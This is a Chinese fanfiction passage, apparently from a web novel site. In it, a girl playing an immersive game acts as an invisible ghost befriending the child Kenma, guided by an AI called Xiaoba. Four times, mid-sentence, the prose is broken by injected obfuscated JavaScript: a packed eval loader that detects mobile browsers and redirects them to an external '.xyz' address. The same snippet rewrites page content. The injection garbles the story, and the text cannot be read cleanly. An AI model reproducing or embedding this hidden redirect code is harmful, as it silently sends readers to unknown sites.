蘑古力脑袋的头发被我吹出了一个向后翘起的弧度,我补救般反方向吹去,又变成了伞盖的模样。 研磨情绪稳定地比我还像个大人,他拍了拍自己的头发,把它们压严实。 「(>﹏<> 「前面没掌握好力度!」 我看他张了又合的嘴,心领神会地说道。 「叫我千流就好。」 这题我熟,变换昵称是拉进关系的第一步。 他攥紧了自己的衣袖,手指摩挲着,这样微小隐蔽的动作在屏幕下作弊般被放大,狡黠的游戏制作者还给这一幕一个特写。 …于是紧张版的猫猫戳中了同样恶劣的我的萌点。 我假装什么都没有看见地撇开视线,一边拍打小八的脑袋问它游戏内的截图键在哪。 他偏过脑袋,简单的名字在嘴边绕了一圈又一圈。 “…千流。” 千流不语,只是开启静音键一味地发出桀桀的笑声。 猫猫没能听见。 “既然是合作伙伴,能够完成的任务我都会去做。” 「好哦」 研磨相当机敏地把这个承诺加上了许多限定词。 例如[能够完成的任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988450|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 务],那么不能完成的任务就不会被归在此列。 还有[会去做],深谙此道的我当然明白,去做和做成功完全是两码事。 毕竟少有人在初次见面就完全交付对方信任,尤其对方还是来路不明之人。 不过攻略和养成这种事,都是需要循序渐进的。三两下就破解的解密游戏,同样也少了一大截乐趣。 我看着傻乎乎说着“玩家的进度条迈了一大步”,敲锣打鼓的小八,头一回清晰地意识到了傻白甜AI是什么形状。 * 蘑古力脑袋并不能像一颗真正的蘑菇一样在篮球馆的一隅窝到茁壮成长之际,体育老师像强行召集玩家的NPC,把东一簇西一簇的小朋友召集起来。 “相信大家都练了很久了吧。” 我看见研磨为了不在人群中显得突兀,张了张嘴,即使什么声音也没有发出,混在四周活力四射七嘴八舌的小朋友里。 “练好了!” “老师老师,看看我练的成果。” “别急别急,大家都有展示的机会。” 体育老师的雷达般的眼睛扫过兴高采烈举着手的大家,精准逮捕了最软趴趴的那只手。 “那就孤爪同学吧。” 研磨的班级上有着未来拉拉队的好苗子,女孩把手架成喇叭的形状,高喊“孤爪同学加油”。 小孩子是最擅长起哄的群体,研磨抱着篮球看似镇定,其实魂已经在欢腾的加油声响起的那一刻飞走了。 他如临大敌站在高高的篮球架下。 小学的篮球架为了激发小学生们的篮球兴趣,调得比正常篮球架低得多。 尽管如此,从小孩的视角望向篮球架的顶端,和望向天空的感觉别无二致。 … 随便投投就好了。 投得太不准会被体育老师盯上,投得太准会被班上的同学盯上。 不巧的是,今天研磨的球感特别好。 随手投的几球都中了。 他屏息,打算刻意往错的方向投去。 「研磨大胆投吧」 他的眼前浮现这样的字眼,于是他顺着自己的想法投去。 每一个篮球在即将靠近篮筐的时候打了个转落在了地面。 “诶——”班上的同学们齐刷刷地为最后几个没进的球惋惜着。 体育老师也摸不着头脑:“按理来说该进的才对…不过孤爪同学已经完成地很不错了,下一个谁想来试试?” 他抱着沉甸甸的篮球,穿过一蹦一跳举高手的人群,站定在自己原先的位置上。 「恭喜孤爪同学完成自己的隐蔽任务#撒花撒花#」 「还完成了附加任务」 「“和千流在大家面前表演不为人知的魔术”」 他才意识到,眼前浮现的蓝色字眼并不是平日里自己一人脑补的游戏任务,却与另一个人的想法不谋而合。 他低垂脑袋,说不上心里是什么感受。 ……但并不讨厌。 另一边,在研磨自己都没有察觉到的时刻,CG搜集狂魔千流手速极快地按下截图键,并轰炸小八。 「小八,你们的游戏怎么连这么重要的时候都没有做CG图,差评差评!」 「这可是研磨遇见我们以来第一次笑」 小八无言地望了望游戏图像。 它态度良好地应下并公式化地回答「会反馈」 但小小的统心里装着大大的疑惑: 所以玩家是怎么从低着头,嘴角完全被发丝挡住的研磨脸上看出「笑」这种情绪的? 4. 研磨猫猫养成手札 03 “早上好啊小八。” [早上好,玩家。]小八脸上两粒豆豆眼的下方可疑地有些青白色,[玩家今天怎么这么早登入了游戏,平常都是晚上十点左右吧] “那当然是因为我决定从今天开始早睡早起锻炼身体。”我面不改色地回复道。 小八深吸了一口气,别过脑袋。 [全息游戏会载入玩家的服装数据,玩家穿得明明是睡衣吧] “好聪明,小八!”我双手合十由衷赞叹着。 小八渐渐飘远,它决定跟玩家保持距离,免得使智慧AI被傻气病毒入侵。 [言归正传,玩家这几天完成了在全息游戏里跟研磨一起通关3款解谜游戏] 我骄傲地抬起头,这三款解密游戏是之前从来没有玩过的小众烧脑款,但是被我和研磨迅速地通关了,可见我们两个的技术高超。 [但是玩家完全没有推进主线任务——交个好朋友吧~] 我摆摆手,准备登入游戏:“这种事不要急,小八,我有我的节奏。” 小八抠抠搜搜地在商城为自己兑换了一个最便宜的吸氧器,猛灌了两口。据它对人类的研究,所有说出“我有我的节奏”的玩家均在攻略游戏里自信地败北了。 它决定手动推动玩家的任务进度。 [很抱歉告诉玩家一个消息] [我们的新手指导期已经结束,接下来游戏与现实的时间流速将调至10:1,也就是玩家游玩游戏一年,游戏世界的时间线将推进十年] 我了然地点点头,游戏公司也不可能制作足够游玩十年的剧情量。 [但玩家也可能在睡眠时间或日常学习时间错过攻略对象的关键成长节点,因此只有完成第一个任务才能解锁关键时间节点的暂停与存档功能,请玩家注意。] [完成任务所得的积分也可以在商城兑换很多推进道具,所以这里建议您早日完成任务一] ...... 我笑眯眯抱住小八,温柔地拍打两下它的脑袋:“这么重要的事情你怎么不等我睡过所有关键节点再说呢。” 小八从我的怀抱里挣脱出来,透明的幽灵身体变得忽闪忽闪。 [之前在新手指导期...总之现在说又不是来不及] 它人小力气大,一把把我塞进了游戏界面。 * 今天天朗气清,万里无云。研磨妈妈一把拉开客厅的窗帘,耀眼的阳光侵入客厅的每一个角落,妈妈舒服地伸了个懒腰。 研磨被耀眼的太阳刺了一下,他弯腰,戴起卫衣的帽子,把脑袋藏到刚喝了一半的牛奶盒后方。 老实说,他对喝牛奶并没有多高的兴趣,之所以坚持喝这么多天,是因为妈妈告诉他多喝一些能长高。 ——尽管现在看来可能并不管用。 他小口小口地喝着牛奶,盘算着等妈妈出去上班,自己就利用这个熬了五天才得来的周末好好地补觉,毕竟昨天也是两点才睡觉。 眼前出现的大片的阴影打断了他的思绪。 他把牛奶盒的两个折角竖了起来。 是妈妈站到了他的前面,摩挲着下巴,嘴里念念有词。 好熟悉的场景。 “嘛,今天的天气真的好好,太阳也暖洋洋的,要不是有工作,妈妈真的好想去晒一整天的太阳,而且昨天看报纸好像说晒太阳能补钙,说不定妈妈也能二次长高。” 每当妈妈露出这种表情,他提前老年化的身躯就不得不支棱起来。 “研磨要不要帮妈妈去晒晒太阳。” 就算帮妈妈晒太阳,黑的也是自己吧。 但研磨还是轻轻地点点头。 妈妈隔着卫衣揉了揉他的脑袋。 妈妈撤回一个揉脑袋,她把研磨的卫衣帽子往后一撩,尽兴地揉了揉他的脑袋。 “那研磨要不要和我一块出门。” 研磨一僵,他跳下餐厅的椅子:“我去上个厕所。” 随后急匆匆地跑上二楼。 “真是的。”妈妈笑了笑,“一楼也有厕所吧,研磨绝对是去拿游戏机了。” [去上厕所]的研磨非常迅速地再次下楼,卫衣口袋的左侧鼓鼓当当的,他连忙跑到妈妈的左侧,拉起妈妈的手:“快出门吧妈妈。” “好哦——” * 孤爪研磨又打了一个长长的哈欠,这回他给自己找了一棵银杏树。 初秋的风还不算大,金黄色的银杏叶未被吹落,密密麻麻地缀在树上,是天然的遮阴处。 新买的三个游戏卡带已经被他和千流迅速地通关了,于是他现在只能自己重温已经打通关的卡带,比起第一次的体验,二刷就稍微无聊了一点。 他半眯着眼睛。 ...要不就先睡一会吧。 在大太阳下更加透明的千流与小八鬼鬼祟祟地浮在空中。 “小八小八。”明明知道自己的声音不会被研磨听到,我还是压低了音量,“笨蛋,这个角度啦。” “玩家,这是本八根据所有摄影有关的大数据计算出的绝佳角度。” 我用气声反驳:“那你载入的大数据绝对是什么摄影失败案例大全,快站在我这里拍。” 显而易见,我和小八正在记录研磨在银杏树下睡觉的绝佳CG。 “总觉得缺了点什么。”我思索片刻,“啊,小八,请给我一张毛毯。” 小八的心颇为慰藉,玩家还是很关心攻略对象的,怕他着凉,特地要了一张毛毯。既然这样,它打开自己的小金库,再次抠抠搜搜地打算买一条最便宜的毯子。 “要上面飘着几朵白云的,这样拍照好看。” 小八露出冷峻的表情。 玩家只是在玩闪耀研磨。 它掏出纯白色的毛毯:“玩家给研磨盖的时候小心一点,别被别人看见了。” “放心吧,这里怎么会有人。”我接过毛毯,服服帖帖地盖在研磨身上,他稍稍眨了眨眼,又攥着毛毯的一角接着睡去。 我满意地飘起来转了一圈。 然后,和手里拿着金黄色小鸭子毛毯的鸡冠头脑袋面面相觑。 当然,他没有看到我。 看得出来,鸡冠头脑袋很想发出尖叫,但大概是怕打扰到研磨的睡眠,他捂住了嘴巴,手里的小鸭子毯子又滑到了地上。 他手忙脚乱地捞起地上的小鸭子毛毯,脚步悬浮地拔腿就跑。 啊咧。 “小八啊。”我摸了摸鼻尖,“我好像干了不好的事情。” “正常。”它这话就像我从来没干过什么好事一样,“怎么了?” 小八正尽职尽责地按我跟它说好的角度一顿狂拍。 我指了指渐行渐远的鸡冠头脑袋,他好像被草坪上的什么石子绊了一下,差点摔倒,但还是抱着毛毯很快远离,变成了一个小黑点消失在尽头。 “我好像,把一个要给研磨盖毯子的小朋友给吓跑了。” 我看见小八一顿一顿地转过身,扯起一个皮笑肉不笑的表情:“哈哈!那我们也是成功地反向推进了进度条呢。” * 妈妈的建议还算不错。 半睡半醒间,研磨这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988451|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想着。 家旁边的公园并没有太多人,只是偶尔有人的絮语随风穿过耳畔,还有寥寥几声鸟鸣,让人睡得更加安逸了。 还有毛毯。 他把脑袋埋进毯子里。 公园里天然的毛毯好像比家里的还要柔软一点。 ...... 天然的毛毯? 孤爪研磨瞬间清明了些,他睁开眼睛,金色的银杏叶被忽然的一阵风带到毛毯上,他拾起叶片。 [我来啦,下午好] “下午好。”研磨把身上的毛毯叠起,不知道该朝着哪个方向打招呼。 蓝色的字符浮现在他的面前。 [这里这里] [流泪猫猫头jpg.] “原来还可以发表情包吗。” 空气里飘着一只蓝色猫猫头,默默垂泪。 研磨的关注点真的好奇特。 我一边这样想着,一边狂发各式表情包,有跳舞猫猫头,干饭猫猫头...... [,] 研磨盯着突然蹦出的标点符号,就像是千流被人揍了一拳发出的痛呼。 事实上他猜对了,小八敲了敲千流的脑袋,叮嘱她赶紧告诉研磨刚刚发生了些什么。 “知道了知道了。”小八敲人一点也不疼,但是我还是抱着脑袋做出被揍出大包的样子,再度发送了一只流泪猫猫头。 [研磨,我刚刚给你盖毯子的时候被一个鸡冠头脑袋的小孩看见了,还把他吓跑了,他本来应该打算跟你交朋友的,带着一个非常可爱的小黄鸭毛毯哦。] [你要不要跟他说一下,比如说他眼花了什么的。] 研磨垂下头,让我分辨不出他的神情。于是我飘到了他的面前。 他捧着游戏机,漫无目的地按下几个按键,但屏幕一直没有亮起:“他好像很胆小。” 他知道鸡冠头脑袋是最近搬到他家附近的,不过第一次上门拜访的时候就紧紧拽着家里人的衣服,只露出一只眼睛,倒显得露出一张脸站在最后面的研磨更不怕生一些。 “应该是被吓跑了吧。” 是对方被吓跑不来找他,他也不会主动跟别人搭话了吗。 我蹲下身,很想摸摸他的脑袋。 因为他看起来很纠结,连游戏机的启动键都没有打开,却还是摆出云淡风轻的样子。 “小八,如果他们两个因为我的失误没有成为好朋友,我真的要滑跪了。” 我叹了口气,“我想想怎么不吓到鸡冠头脑袋并且跟他解释清楚。” [可能不用了] 小八在空中一晃一晃,看起来很愉悦。 鸡冠头脑袋从远处奔向这里,怀里抱着不明物体。 他跑得有点急了,先是停在研磨的面前,喘了口气,有些结巴地说道:“同,同学。把你手里的毯子放下。” 研磨愣愣地把毯子捧在手里。 鸡冠头脑袋很着急,他拿着手中的东西,哐哐两下戳了戳研磨手中的毛毯,嘴里念着一些符咒。 旁观者一号小八适时摆弄自己渊博的AI学识:“我知道,这是中国的桃木剑,用来辟邪的。” 旁观者二号千流眨了眨眼:“原来他虽然被吓跑了,但还是想着来救研磨呀。” * 我运筹帷幄地拂了拂并不存在的胡须,深不可测地说道:“小八,真正的朋友就是这样顺其自然地来到我们的世界里。” 小八并没有被我唬到,它黑乎乎的豆豆眼怎样尽力也很难翻出一个白眼,总之它就是这么做了:“玩家你刚刚明明很着急。” 5. 研磨猫猫养成手札 04 * “千流呀。”坐在招待处旁的沈妈妈放下手中的账本,“星愿在A01包厢,你们班上的同学都到了。” 她有些嗔怪地看了我满满当当提着礼物的两只手:“你别太惯着她。” “哪有。”我掂了下礼物,笑着回答,“哪有阿姨宠星愿,我先上去啦。” “小心地滑,慢一点。” 高中生聚在一起总能制造出比其他群体更大的音量,光是走到楼梯的拐角处就能听到包厢里传来的喧闹声,我站定在门口,扬起笑容,用指节叩了叩包厢门。 “千流到了。”宋元拉开门,看向我提着礼物的双手。 “还以为你忘了今天是什么日子。”原本神游着坐在中央的沈星愿不知什么时候快步走到我身旁,拎走我一只手的礼物,随后把空下的一只手拽起。 我被大小姐安排着坐在了包厢正中央的旁边。 “你们点餐了吗?” “等你呢。”寿星把菜单推到我面前,“看看吃什么。” “我要一道油焖大虾!”郑茵举起手说道。 大家一人一句地点了七八道菜,菜单轮到宋元的手里,他思索片刻:“记得千流最喜欢喝芋头汤。” “啊。”状况外的我点点头,宋元垂眸在菜单上打了个勾,转了一圈的菜单又回到寿星的手中。 她在桌底下捏了捏我的手,面上若无其事地把菜单递给服务员。 我点开消息栏。 [沈大小姐:哈,宋元那家伙绝对喜欢你。赶着去开门,还记得你最喜欢吃什么。] 我看了看明明正和郑茵聊得热火朝天的星愿,她是怎么抽空打这么一大串消息的。我震惊之余低头回复。 [千流:那星愿也喜欢我咯(狐狸偷笑jpg.)] [千流:你也记得我最喜欢吃什么~] 餐桌下的那只手气恼地捏了下我的指尖。 [千流:开玩笑啦,宋元一直很细心吧,大家喜欢吃的他应该都记得,只是看我没有点餐顺便问了一下] [沈大小姐:只有你会这么想] [沈大小姐:不说这些了,什么时候上好菜,我想快点吃完。] [沈大小姐:绝对不是急着回去拆你送的礼物,别多想。] 我眨巴眼睛,盯着屏幕。 这么说才很难不让人多想吧。 她也意识到了这点,欲盖弥彰地撤回了上条消息。 我忍不住别过脑袋悄悄笑了笑。 这下我的腿也吃了心愿的一记轻锤。 * 聚餐过后宋元提出的去KTV的建议被星愿以“家里人还要给她庆祝”拒绝了。 其他人还觉得不尽兴,打算再去KTV唱一场,她们的目光纷纷落在我身上,还未等我开口,星愿挽住我的手:“那个......” 她别扭地说着:“我妈妈让千流也留下来。” “唔,懂了。”郑茵示意脸上挂着笑的众人收敛一点,自己却在转身前忍不住抛下一句,“千流是星愿的家人嘛。” 然后连忙趁沈大小姐还没来得及害羞前转身跟上大家。 沈星愿跺了跺脚:“不许偷笑了!” “好的!” 家人的庆祝只是星愿临时的托词,毕竟沈阿姨还忙着在楼下处理饭店的账务。 平日里急性子的她拒绝了我“用剪刀直接拆掉好了”的建议,小心翼翼地掀开包装好的一角,就像这份包装也是礼物的一部分一样。 于是包装纸圆满地寿终正寝。 第一份礼物是她看中很久的裙子,不过由于沈大小姐一直存不住钱,遂直到现在都没有买下。 第二份礼物是一本相册,里面是我“强迫”别扭的星愿拍下的一张张照片。 “怎么样,拍照也蛮有意义的吧。”我坐到她旁边,“是谁每张照片都那么好看啊。” 她揉了揉眼角,不服气地说:“那请问这张我瞪眼张大嘴巴的照片是为什么被拍下来了,你不是说已经删了。” “还有这张,我满脸都被糊上奶油了。” 我做出思索状:“那我收走,重新送一份?” 她一把抱住相册,侧过脑袋:“...我很喜欢。” “不过下次你生日,我会送你超喜欢的礼物。” “星愿怎么连送礼物也要胜我一筹。” 正当我们打打闹闹的时候,包厢里的灯光突然熄灭了。 “停电了吗。”我起身,打算检查一下电闸,走到门口,与向我比了个嘘声手势的徐妈妈徐爸爸面面相觑,还有拄着拐杖慈祥望着我的徐奶奶。 徐爸爸推着放着蛋糕的小推车。 “真是的,我也来看看吧。”沈星愿似乎站了起来。 我探回身:“坐着就好啦,马上就有电了。” 她不情不愿地坐下了。 徐爸爸给我竖了个大拇指,悄摸摸率先推着小推车走了进去。 我倚靠在门框边,看着沈奶奶一边唱着生日歌一边颤着手把生日帽戴在星愿的脑袋上,她扶着生日帽乖巧地扬起嘴角。在前几个小时她还说着“这东西戴着太笨了”,还是沈奶奶出马管用。 五音不全的沈叔叔大声地唱着生日歌,被嫌弃的沈阿姨瞪了一眼,不过他茫然不知,唱得更大声了。 我举起拍立得,咔嚓按下拍摄键。 在黑暗中,它的闪光灯过于突兀了。 啊咧。 我有些尴尬地揉了揉自己的头发:“我就是拍一张照片。” 沈阿姨像是意识到什么,忙走过来,牵起我的手:“千流也一起来唱生日歌吧。” 沈叔叔略显无措地咧着嘴笑:“一起切蛋糕。” “好的!”我自然地走上前,握住星愿的手,一起切下蛋糕。 * “真的不留下来跟我一起睡觉吗。” 我双手合十,抱歉地说道:“我最近接了一个游戏单子,要每天上线才能拿到报酬,下次一定嘛。” 她上下打量我,在确认我没有撒谎后放开了我的手。 “好吧。” * 搞砸了。 我站在玻璃橱窗前,橱窗里放着水晶球,里面的造景是合家团聚吃着饭的一家人。 我懊恼地垂眸,手伸进口袋,拿出一张未能送出的拍立得。 它本来应该是跟这个水晶球一样温馨的照片,假如没有那束刺眼的光。 ——是假如没有我才对。 我的手指轻敲橱窗,店员小姐走到我身旁:“是想要这个水晶球吗。” 她和善地笑着。 我摆摆手:“不好意思。” 快步离开这家店,这回是真的被当做怪人了。 攥在手中的照片是星愿一家望向我的画面,除了还是很慈爱的沈奶奶,其他人都变得有些紧张,就像如果不小心翼翼地照顾我的情绪,我就会因此感到伤心。 我叹了口气,打开房门,里面空荡荡的。 要是有人的踪迹我才会吓一大跳吧,想到这里,我轻轻笑了笑。 躺进游戏舱,任由思绪像数据一样被打乱再重组。 我在想什么呢? 我第一次感觉加载的时间格外漫长,漂泊在汪洋中,静静的海水像是要将人悄悄吞噬到海底。 我被一团生物吃力地拽了起来,适应周围又在“撒金币”的光亮,我缓缓张开眼。 [玩家你怎么一天载入两次游戏,我都没做好准备。] “原来是因为这个我才在海里泡了那么久吗。”我打趣道,“小八绝对是疏忽职守不知道跑去哪里玩了,本玩家要申请赔偿,就判你给我50点积分吧。” 小八的眼神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988452|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飘忽不定,我原本只是说着玩,没想到AI真的能疏忽职守。 它半透明的身躯变得粉扑扑的。 [玩家的第一个任务完成的奖励才获得了20点积分,怎么可能给你50积分的补偿] 它看起来很是肉疼。 [5点积分,不能再多了。] “好!”我毫不犹豫地答应了。 小八露出[上当了]的表情,不情不愿地把积分划到我的系统中。 [对了,在进入游戏前,玩家可以先到积分商城看看,还有查收一下新的支线任务,新的支线任务不强制要求完成,可以选做。] 我一边应下,一边在虚空中点了点商城的界面。 两秒后,我面红耳赤地提起小八。 “我说,你们这款游戏真的正经吗,为什么商城里一打开就是xx道具啊喂,还有什么xx迷药。” [玩家也太大惊小怪了,我们可是的积分商城毕竟是接近什么都有的存在,有这种道具也很正常吧,而且xx道具和xx迷药明明是只能对成年的攻略对象才能使用的,售价300积分] [恕我直言,我觉得玩家可能没有买得起的一天。] 我觉得这完全是小八对我的诋毁,而且本清清白白的玩家是不会有购买这种商品的时候的。 “不过游戏卡带还是蛮有用的,居然是代入我和研磨形象制作的像素风小游戏,到时候问问研磨要不要兑换一个玩玩。” 小八不语。 游戏卡带售价20积分,玩家眼里完全没有其他性价比更高的道具。 它就说玩家没有买得起300积分道具的一天。 我点开崭新的支线任务界面,一下子刷新了三个任务供我选择。 [任务一:制霸厨房!!! 研磨所在的小学近期开设了烹饪课程,旨在提高小学生们的生活能力,想不想你的攻略对象成为整个小学最亮眼的厨神呢,一起制作专属于你们的菜品吧! 完成奖励:积分×20+抽奖机会×1] 好家伙。 让小学生接触这些烹饪用具真的安全吗。 [任务二:制霸球场!!! 研磨新的朋友黑尾铁朗邀请他一起学习排球,想不想养成一款制霸球场的运动健将猫猫!赶快行动起来吧。 任务完成判定标准:得到指导老师的表扬 完成奖励:健将健将强效疲惫一扫而空药水×1] 原来鸡冠头脑袋的全名叫黑尾铁朗啊。 [任务三:制霸考场!!! 研磨似乎对当前的课程没有多大的积极性,想不想养成一款智多星猫猫呢!赶快加入我们。 任务完成判定标准:在下一次考试中得到级部前十的好成绩 完成奖励:一次向最高智慧提问的机会] 我关闭任务界面,问道:“小八,如果任务没有完成会有惩罚吗,我看这里没有写失败惩罚。” 小八翻了翻指导手册。 [支线任务失败并没有惩罚。] “那我都接了。”既然没有惩罚,就通通试一遍好了。 说不定研磨能够同时制霸厨房球场和考场呢。 “我在他这么小的时候就是如此强大。” 小八不相信。 [羞羞脸玩家。] “诶,我说的是真的。” [玩家这次上线是为了推动攻略进度吗,现在载入游戏是夜晚,我可以帮玩家加速跳过载入第二天。] 我拒绝了小八的好意:“没有哦。” “我上线单纯是找研磨一起玩游戏的,现实中可没有研磨这么聪明的游戏搭档,啊,小八,快快让我上线,我要让研磨和我一起玩那个像素风游戏。” ...... 它就不应该对玩家的事业心抱有任何的期望。 6. 研磨猫猫养成手札 05 * “咚咚咚。” 研磨按下暂停键,看向房门:“请进。” 半夜十二点,会在这个时间拜访他房间的必然不是作息规律的父母。 只有鬼会在这个时候上门。 [女鬼]千流手持木棍一同穿模进了房门。 第一次见面的时候自己直接闯入房门,对此本道德高尚的女鬼认为这侵犯了研磨的隐私。 但这个游戏实在是有些莫名其妙的bug. 比如一般来说我的手是能触碰物体的,比如木棍。但唯独是研磨家的所有门,我都不能触碰,只能穿门而过。 当我头一次把这件事告诉研磨后,我第一次从他脸上读出那样五彩缤纷的表情。 当然中心思想是,他在猜测我这个鬼的族类。 我誓死保卫自己的声誉:“我不是色鬼啊!” 在我的再三强调下,研磨收回质疑的目光。 为了表明我的纯洁性,经过钻研,我发现我可以拿着木棍敲房门,这样不会穿模。 但我如果抱着木棍,木棍就会被判定成我身体的一部分,被我一起带入房门。 因此出现了开头的那一幕。 …… 尽管早已做过心理准备,但他还是会在看到空中漂浮的木棍时一噎。 更何况是黑尾。 黑尾同学说可以叫他小黑。 在千流说“只有研磨能知道我的存在,拜托了”之后,他编纂了一个说法唬住小黑。 说实话,一点也不高明。 他回忆过去在推理动漫里看到过的延时装置,杜撰了一个手法。 告诉小黑自己盖着被子不能入睡,但不盖被子又会被冷醒,所以用银杏树做了一个延时装置。 他看到的并不是鬼怪。 而是延时装置起作用了。 研磨在收获了小黑赞叹的目光后,不自在地低下了头。 “研磨!”小黑露出星星眼,“你好像童话故事里的豌豆公主哦!” “哈?!” * [豌豆公主~~] “不要跟着这么叫我,千流。”研磨按下开始键。 [好的,研磨!] [我们第一个任务得来的积分可以在商城兑换很多好玩的东西,我看中了一个游戏,研磨要一起玩玩看吗?] “千流觉得好玩的游戏应该会很好玩。” 我得意看向小八,眼里写满了——看见了吧,在研磨心里我就是如此值得信赖。 [好的哦~请研磨接收卡带。] 我熟络地从研磨的桌上拿来另一台手柄,坐到研磨的身旁。 和他一样专心致志地看着屏幕。 [本款游戏是按照玩家的形象与背景设定的像素风小游戏~ 在开始游戏前,让我们先玩一个小游戏吧——猜猜这是两个玩家中的哪一位。] 载入游戏场景,三名脸被糊的严严实实的像素风小人在湖边,最小的那只被围在中间,有些局促地握着鱼竿。 我毫不犹豫地按下玩家一。 那是研磨的操纵的角色。 [#撒花撒花,玩家真是太聪明了,接下来请跟着一段音乐等待进入游戏吧~] “千流是怎么这么快猜出来的?”研磨有些好奇。 “因为我没有去钓过鱼啦。” 我敲了敲小八,笑眯眯问道:“你们的游戏会读取我的记忆吗。” 小八连忙摆手,义正言辞:“我们游戏是不会做这种很刑的事情的,在没有玩家同意的情况下。” 我思索片刻。 我很明确记得自己确实没有签过这种条款,所以或许只是巧合? 游戏刚好解锁完毕。 一只蘑古力脑袋出现在游戏界面里,研磨操纵着他走动了片刻,像素小人好奇地在房间里四处张望。 房间里的陈设饶是像素风也能看出来相当华丽,但是是上个世纪的装修风格。看来在这个故事里研磨的身份应当是贵族家的孩子。 这时插入了一段过场动画,介绍蘑古力小人的背景故事。 [她是整个王国的掌上明珠,唯一的公主。] “噗。” 我发出无声的笑。 研磨按下暂停键,幽幽又精准地递给我一眼。 我举起手:“真的不是我搞的鬼。” 看来像素风小游戏很刑地窃取了研磨的记忆。 [公主一直过着幸福的生活,直到某一天,她被巫师骗走了,巫师把她和邻国的王子关在高塔里。] [王子是我~好帅气] 我操纵着像素风小人朝着初来乍到的研磨公主行礼,轻松的样子与阴沉的色调格格不入。 接下来的游戏环节是我和研磨背着巫师用各种手段暗暗通信,营造我们不想逃跑的样子,让巫师放下警惕。 在这段时间里,王子和公主建立了深厚的关系。 [我们一定要一起逃走。] 公主对王子这样说道。 【这是个不怎么好的flag啊】 深谙此道的我和研磨默不作声。 终于,巫师出了一趟远门。 公主和王子通过筹划,大致掌握了高塔的构造,于是他们一路过关斩将,终于来到高塔的底层。 而我和研磨在被小怪打死又读档大约四十几次后来到了塔的底层。 “好久没在追逐游戏里面被打得这么狼狈了。” 我表示赞同。 但等待着他们的是早已在底层的巫师。 事实上,他一直监视着他们的一举一动,刻意露出破绽,给两人培养感情和谋划逃跑计划的机会。 只是为了看他们在此刻做出艰难抉择的表情。 “你们两个人只有一个人能够出这座高塔,剩下一个人要在这里度过余生。” “违背规则 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988453|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人会被炽热的火焰点燃躯体。” [啧。] 我不爽地拨弄手柄。 [一周目还不够谨慎,下个周目才不会给他这种机会。] “千流。”研磨喊了喊我的名字,“你现在想打出什么结局。” [考验一下研磨和我现在的默契度吧~] [我倒数三个数。] 三、二、一。 王子和公主牵着手,义无反顾地一起冲出灰蒙蒙的高塔。 炽热的太阳映入眼帘,降临到他们身上的先是温暖,而后是熊熊大火,大火点燃了他们的躯体,他们的全身渐渐化为灰烬。 但自由的风温柔地拂过他们的脸颊,带着灰烬飞往遥远的天空。 他们的灵魂终得自由。 小八的电子音插入了一条成就播报。 [恭喜玩家获得了在游戏中玩游戏的CG,奖励积分20] 我眼前一亮:“那不就是一分不花地白嫖游戏~~” 我撺掇研磨再多通关几个结局。 小八让我的想法彻底幻灭:“这种成就只能解锁一次,怎么会让玩家疯狂地卡bug薅羊毛。” 虽然不能卡bug获取积分,我还是和研磨解锁了像素小游戏的所有结局。 [完蛋,又没有让研磨早睡觉。] 我看着显示凌晨两点的时钟。 [是的,玩家只会带着研磨一起通宵!] 小八不赞同地看着我俩。 [那我先走啦,研磨。] 研磨懒洋洋地打个哈欠,冲着蓝色的字符串摆手。 片刻,他问道:“你心情好点了吗,千流。” 诶?! 我退出游戏的动作一顿。 [我哪有不开心] “你的话比平时少了。” 小八目瞪口呆。 [她明明一样地话多。] 我不置可否。 飘到研磨旁边,帮他掖了掖被角:“当然,我可是一个成熟的女鬼,死的时候都快成年了,十七岁。现在都数不清多少岁了” “所以说,靠谱的成年人已经处理好自己的情绪了,小孩子不要担心我。” 研磨又打了一个哈欠,不满说着:“心智年龄和生理年龄并不一定成正比。” 我拍了拍他的被子。 在他睡着之后登出了游戏。 从狭小的游戏舱爬到我暖洋洋的被窝里,一股睡意涌来。 我确实很擅长处理那些突如起来的怪情绪。 